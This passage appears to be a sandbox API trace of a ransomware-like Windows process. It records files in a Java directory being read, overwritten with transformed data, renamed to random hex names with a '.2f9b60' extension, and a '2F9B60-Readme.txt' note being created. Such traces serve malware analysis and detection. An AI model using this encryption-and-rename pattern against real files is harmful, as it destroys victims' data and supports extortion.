(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0170.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c2c0 [0170.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c350 [0170.230] NtQuerySystemTime (in: CurrentTime=0x46d6f8c0 | out: CurrentTime=0x46d6f8c0*=132462177753514000) returned 0x0 [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x6649b6ab [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x3145117 [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x5af76000 [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x77ec46b5 [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x22ddb4ab [0170.230] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x719f0b0a [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x1f5f32ce [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x732f9f4c [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x17393020 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x4dc47598 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x4c05b6dd [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x13ec7f [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x72bf0ccb [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x140b5036 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x358efa3 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x319780e5 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x5c68bb74 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x57ff62d0 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x534f885e [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x5b49c761 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x76223fef [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x26cebcca [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x3e8571fb [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x3a1c0ad0 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x43648cef [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x712f5ae9 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x116306f9 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x40b63e3f [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x2f60802f [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x70a89bc6 [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x66ec310b [0170.231] RtlRandomEx (in: Seed=0x46d6f8b0 | out: Seed=0x46d6f8b0) returned 0x2cf21227 [0170.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c380 [0170.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0170.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c3b0 [0170.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0170.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c350) returned 1 [0170.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0170.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0170.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0170.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0170.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0170.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d71d40 [0170.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d75950 [0170.244] ReadFile (in: hFile=0x2e00, lpBuffer=0x41d71d40, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x46d6f8b0, lpOverlapped=0x0 | out: lpBuffer=0x41d71d40*, lpNumberOfBytesRead=0x46d6f8b0*=0x7e8, lpOverlapped=0x0) returned 1 [0170.244] SetFilePointerEx (in: hFile=0x2e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.244] WriteFile (in: hFile=0x2e00, lpBuffer=0x41d75950*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x46d6f8b4, lpOverlapped=0x0 | out: lpBuffer=0x41d75950*, lpNumberOfBytesWritten=0x46d6f8b4*=0x7e8, lpOverlapped=0x0) returned 1 [0183.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31100 [0183.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31130 [0183.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31130) returned 1 [0183.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d75950) returned 1 [0183.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d71d40) returned 1 [0183.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0183.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0183.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d31130 [0183.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c7b0 [0183.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0183.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31160 [0183.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31160) returned 1 [0183.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d31160 [0183.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31190 [0183.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d311c0 [0183.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d311c0) returned 1 [0183.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0183.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c7b0) returned 1 [0183.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x43120720 [0187.361] SetFilePointerEx (in: hFile=0x2e00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.361] WriteFile (in: hFile=0x2e00, lpBuffer=0x43120720*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x46d6f9d0, lpOverlapped=0x0 | out: lpBuffer=0x43120720*, lpNumberOfBytesWritten=0x46d6f9d0*=0xfe, lpOverlapped=0x0) returned 1 [0206.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c740 [0206.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c740) returned 1 [0206.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d320 [0206.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c740 [0206.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c710 [0206.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c710) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42c1c710 [0206.057] sprintf (in: _Dest=0x42c1c710, _Format="%c%c" | out: _Dest="5d") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c712, _Format="%c%c" | out: _Dest="1f") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c714, _Format="%c%c" | out: _Dest="bd") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c716, _Format="%c%c" | out: _Dest="68") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c718, _Format="%c%c" | out: _Dest="43") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c71a, _Format="%c%c" | out: _Dest="da") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c71c, _Format="%c%c" | out: _Dest="8f") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c71e, _Format="%c%c" | out: _Dest="37") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c720, _Format="%c%c" | out: _Dest="0c") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c722, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c724, _Format="%c%c" | out: _Dest="05") returned 2 [0206.057] sprintf (in: _Dest=0x42c1c726, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.057] RtlInitAnsiString (in: DestinationString=0x46d6fa48, SourceString="5d1fbd6843da8f370c4e05cd" | out: DestinationString="5d1fbd6843da8f370c4e05cd") [0206.058] RtlAnsiStringToUnicodeString (in: DestinationString=0x46d6fa18, SourceString="5d1fbd6843da8f370c4e05cd", AllocateDestinationString=1 | out: DestinationString="5d1fbd6843da8f370c4e05cd") returned 0x0 [0206.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431189a0 [0206.058] wcscat (in: _Dest=0x43154f00, _Source="5d1fbd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd" [0206.058] wcscat (in: _Dest=0x43154f00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd.2f9b60" [0206.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd.2f9b60", NtPathName=0x46d6f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\5d1fbd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c58a0 [0237.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c58a0) returned 1 [0237.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43227810) returned 1 [0237.763] NtQueryInformationFile (in: FileHandle=0x2e00, IoStatusBlock=0x46d6fa58, FileInformation=0x46d6fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x46d6fa58, FileInformation=0x46d6fa68) returned 0x0 [0237.763] NtSetInformationFile (FileHandle=0x2e00, IoStatusBlock=0x46d6fa58, FileInformation=0x46d6fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154f00) returned 1 [0240.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431189a0) returned 1 [0240.263] FlushFileBuffers (hFile=0x2e00) returned 1 [0240.633] CloseHandle (hObject=0x2e00) returned 1 [0242.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cddcea0 [0242.637] wcscpy (in: _Dest=0x1cddcea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0242.637] wcscat (in: _Dest=0x1cddcea0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" [0242.637] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt")) returned 0xffffffff [0243.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2895 os_tid = 0x174 [0166.905] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg")) returned 0x20 [0166.905] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg", dwFileAttributes=0x20) returned 1 [0168.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x29f0 [0169.765] GetFileSizeEx (in: hFile=0x29f0, lpFileSize=0x46ebfc80 | out: lpFileSize=0x46ebfc80*=1568) returned 1 [0169.765] SetFilePointerEx (in: hFile=0x29f0, liDistanceToMove=0x61c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.765] ReadFile (in: hFile=0x29f0, lpBuffer=0x46ebfc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x46ebfc48, lpOverlapped=0x0 | out: lpBuffer=0x46ebfc00*, lpNumberOfBytesRead=0x46ebfc48*=0x4, lpOverlapped=0x0) returned 1 [0169.769] SetFilePointerEx (in: hFile=0x29f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0169.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b810 [0169.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b8a0 [0169.771] NtQuerySystemTime (in: CurrentTime=0x46ebfb40 | out: CurrentTime=0x46ebfb40*=132462177748834000) returned 0x0 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x13ac4f12 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x41a6989d [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x3c1a296f [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x2d8d41d7 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x3cc6e223 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x64baf3b4 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x28042c67 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x21e468e3 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x32d65ed7 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x2cd40a85 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x53a6bf0 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x30ca80f1 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x7d92ed7f [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x6dd3a7c9 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x64dee23e [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x121e9132 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x7cbb9ed3 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0xfcad92a [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x61f718f8 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x1be8e520 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x7cbadd4b [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x3746f8a2 [0169.771] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x6eafc771 [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x3f36a6c3 [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x2bb75f25 [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x7fe05f75 [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x74c2d1f [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x7a0a740d [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x4bc62df5 [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x5657cbff [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x2373492e [0169.772] RtlRandomEx (in: Seed=0x46ebfb30 | out: Seed=0x46ebfb30) returned 0x272ed2 [0169.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b8d0 [0169.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0169.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b900 [0169.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0169.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b8a0) returned 1 [0169.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0169.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f10 [0169.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0169.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b6c0 [0169.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b6c0) returned 1 [0169.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b17630 [0169.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425f9930 [0169.802] ReadFile (in: hFile=0x29f0, lpBuffer=0x42b17630, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x46ebfb30, lpOverlapped=0x0 | out: lpBuffer=0x42b17630*, lpNumberOfBytesRead=0x46ebfb30*=0x620, lpOverlapped=0x0) returned 1 [0169.802] SetFilePointerEx (in: hFile=0x29f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.802] WriteFile (in: hFile=0x29f0, lpBuffer=0x425f9930*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x46ebfb34, lpOverlapped=0x0 | out: lpBuffer=0x425f9930*, lpNumberOfBytesWritten=0x46ebfb34*=0x620, lpOverlapped=0x0) returned 1 [0190.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7e20 [0190.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7df0 [0190.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7df0) returned 1 [0190.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425f9930) returned 1 [0190.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b17630) returned 1 [0190.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0190.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0190.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a7df0 [0190.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f10 [0190.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0190.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7eb0 [0190.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7eb0) returned 1 [0190.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a7eb0 [0190.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f40 [0190.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ee0 [0190.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ee0) returned 1 [0190.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0190.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0190.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x4315e3d0 [0190.175] SetFilePointerEx (in: hFile=0x29f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.175] WriteFile (in: hFile=0x29f0, lpBuffer=0x4315e3d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x46ebfc50, lpOverlapped=0x0 | out: lpBuffer=0x4315e3d0*, lpNumberOfBytesWritten=0x46ebfc50*=0x106, lpOverlapped=0x0) returned 1 [0201.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0201.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262960 [0201.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262960) returned 1 [0201.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262960 [0201.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a50 [0201.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a50) returned 1 [0201.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0201.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e070 [0201.690] sprintf (in: _Dest=0x1ce5e070, _Format="%c%c" | out: _Dest="8d") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e072, _Format="%c%c" | out: _Dest="42") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e074, _Format="%c%c" | out: _Dest="d7") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e076, _Format="%c%c" | out: _Dest="7d") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e078, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e07a, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e07c, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e07e, _Format="%c%c" | out: _Dest="24") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e080, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e082, _Format="%c%c" | out: _Dest="37") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e084, _Format="%c%c" | out: _Dest="04") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e086, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e088, _Format="%c%c" | out: _Dest="33") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e08a, _Format="%c%c" | out: _Dest="85") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e08c, _Format="%c%c" | out: _Dest="57") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e08e, _Format="%c%c" | out: _Dest="04") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e090, _Format="%c%c" | out: _Dest="fc") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e092, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e094, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.690] sprintf (in: _Dest=0x1ce5e096, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.690] RtlInitAnsiString (in: DestinationString=0x46ebfcc8, SourceString="8d42d77d1ea6d8247a37045c33855704fc6d6d4d" | out: DestinationString="8d42d77d1ea6d8247a37045c33855704fc6d6d4d") [0201.690] RtlAnsiStringToUnicodeString (in: DestinationString=0x46ebfc98, SourceString="8d42d77d1ea6d8247a37045c33855704fc6d6d4d", AllocateDestinationString=1 | out: DestinationString="8d42d77d1ea6d8247a37045c33855704fc6d6d4d") returned 0x0 [0201.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 